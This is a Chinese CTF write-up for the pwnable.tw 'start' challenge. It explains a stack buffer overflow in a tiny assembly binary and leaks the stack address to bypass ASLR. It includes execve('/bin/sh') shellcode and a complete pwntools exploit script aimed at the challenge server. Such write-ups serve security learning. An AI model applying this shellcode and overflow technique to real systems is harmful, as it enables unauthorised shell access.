听说有了新的题目pwnable.tw,这里记录一下解题过程。
1、start [100pts]
执行以后发现是个读入的函数,然后发现如下:

正所谓所有会segmentation fault的程序都可以注入,看出来这里就是一个简单的pwn的位置啦,打开源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| 08048060 <_start>: 8048060: 54 push %esp 8048061: 68 9d 80 04 08 push $0x804809d 8048066: 31 c0 xor %eax,%eax 8048068: 31 db xor %ebx,%ebx 804806a: 31 c9 xor %ecx,%ecx 804806c: 31 d2 xor %edx,%edx 804806e: 68 43 54 46 3a push $0x3a465443 8048073: 68 74 68 65 20 push $0x20656874 8048078: 68 61 72 74 20 push $0x20747261 804807d: 68 73 20 73 74 push $0x74732073 8048082: 68 4c 65 74 27 push $0x2774654c 8048087: 89 e1 mov %esp,%ecx 8048089: b2 14 mov $0x14,%dl 804808b: b3 01 mov $0x1,%bl 804808d: b0 04 mov $0x4,%al 804808f: cd 80 int $0x80 8048091: 31 db xor %ebx,%ebx 8048093: b2 3c mov $0x3c,%dl 8048095: b0 03 mov $0x3,%al 8048097: cd 80 int $0x80 8048099: 83 c4 14 add $0x14,%esp 804809c: c3 ret
0804809d <_exit>: 804809d: 5c pop %esp 804809e: 31 c0 xor %eax,%eax 80480a0: 40 inc %eax 80480a1: cd 80 int $0x80
|
发现非常简单?甚至连main都没有,看起来就是个简单的汇编程序。这里发现在如下位置:
1 2 3 4 5 6 7 8 9
| 8048087: 89 e1 mov %esp,%ecx 8048089: b2 14 mov $0x14,%dl 804808b: b3 01 mov $0x1,%bl 804808d: b0 04 mov $0x4,%al 804808f: cd 80 int $0x80 8048091: 31 db xor %ebx,%ebx 8048093: b2 3c mov $0x3c,%dl 8048095: b0 03 mov $0x3,%al 8048097: cd 80 int $0x80
|
进行了系统调用sys_write和sys_read,这里可以看出,寄存器的作用分别如下
寄存器 |
作用 |
eax |
中断类型号 |
ebx(bl) |
stdout |
ecx |
输出字符串地址 |
edx |
输出字符串长度 |
然后发现,%ebx的值清0了,那么此时相当于变为了stdin,并且将0x3c(60)赋值给了%edx,也就是说,此时使用的【依然是原先的esp】,也就是说这里【可以读入60个字符,而实际上栈里面却只有20的长度】,那么只要构造20个padding,加上函数的返回值就可以轻易的修改。
然而要如何修改呢。。。突然就不会了。。
于是乎只好依靠一下pwntools了,在使用过程中发现如下:

这里居然没有打开nx?!那就是说可以进行shellcode攻击了。虽然开始的时候想要使用pwntools生成,但是好像失败了。。后来从网上找了一段shellcode:
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69”
“\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”
然后发现远没有自己想的那么简单,由于栈随机化(ASLR)的原因,导致这个栈的地址是不固定的,所以此时跳转的位置需要泄漏出来。。
观察到代码
1 2 3
| 08048060 <_start>: 8048060: 54 push %esp 8048061: 68 9d 80 04 08 push $0x804809d
|
一开始就将esp的值压到了栈中,所以此时要是能够想办法将栈中的数据打印就好了,然后可以知道
1 2 3
| 8048097: cd 80 int $0x80 8048099: 83 c4 14 add $0x14,%esp 804809c: c3 ret
|
这个函数在最后退栈了,也就是栈原先内容为

退栈后的内容变为:

也就是说,此时让其跳转会到sys_write执行的位置,我们就能够泄漏的到esp的内容,然后利用相对位置,将esp的值进行调整,便能够跳转到指定的位置。由于我们写入的位置为ecx确定的
然而又发现,shellcode几乎都会对栈产生一定的影响,也就是说此时的esp还必须移动到一个对栈中内容无影响的位置上。

最初的样子
然后在完成输出以后变成

在进行了返回值返回后变成

所以假如此时直接跳转到
1 2 3 4 5 6 7 8 9 10 11
| 8048087: 89 e1 mov %esp,%ecx 8048089: b2 14 mov $0x14,%dl 804808b: b3 01 mov $0x1,%bl 804808d: b0 04 mov $0x4,%al 804808f: cd 80 int $0x80 8048091: 31 db xor %ebx,%ebx 8048093: b2 3c mov $0x3c,%dl 8048095: b0 03 mov $0x3,%al 8048097: cd 80 int $0x80 8048099: 83 c4 14 add $0x14,%esp 804809c: c3 ret
|
那么此时就会将esp中的值输出来,如果我们从这个位置继续输入的话,那么理论上要构造成这个样子

那么此时完成输出后会变成这样

所以如果我们把0x90替换成我们的shellcode,就能够完成攻击。
发现较短的shellcode都是先不到目的功能,必须伴随的提权,而提权+攻击的代码至少要21byte
1 2 3
| \x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80 或者 \x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
|
所以这里还要换思路。。。。观察代码得到
1 2 3 4 5 6 7 8 9
| 8048087: 89 e1 mov %esp,%ecx 8048089: b2 14 mov $0x14,%dl 804808b: b3 01 mov $0x1,%bl 804808d: b0 04 mov $0x4,%al 804808f: cd 80 int $0x80 8048091: 31 db xor %ebx,%ebx 8048093: b2 3c mov $0x3c,%dl 8048095: b0 03 mov $0x3,%al 8048097: cd 80 int $0x80
|
此时的ecx的赋值只发生了一次,相当于如果第一次ret的时候不去干涉这个值和dl,那么此时的输出字符串长度【就为后来设置的0x3c,并且此时指向的依然为原先的字符串位置】也就是说,这一次我们的esp泄露是发生在4*6 = 24个字节之后,并且一旦泄漏之后,我们的空间将会变得非常大!此时再插入shellcode即可

这次要写入的内容总长度为542 + 4
最后。。。成功了!

附上解题代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
from pwn import *
DEBUG = 0 if DEBUG: context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] ph = process('./start') gdb.attach(ph) else: ph = remote('139.162.123.119', 10000)
length = 44 address = '\x8b\x80\x04\x08' shellcode = "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" def transUni(char): return hex(ord(char))[2:]
if __name__ == "__main__":
print ph.recvuntil(':') ph.send('\x90'*20 + address) data = ph.recv(0x3c) print "address is 0x" + ''.join(list(map(transUni,data[24:28]))) stack_addr = data[24:28] stack_addr = p32(u32(stack_addr) - 7*4) print "now stack_addr is 0x" + ''.join(list(map(transUni,stack_addr))) ph.send(shellcode + (length - len(shellcode))*'\x90' + stack_addr) ph.interactive();
|
(菜鸡也算是走出了第一步了。。终于也是自己做了一题栈溢出)
话说要是以后需要用到动态链接库的时候,可以再从这道题目入手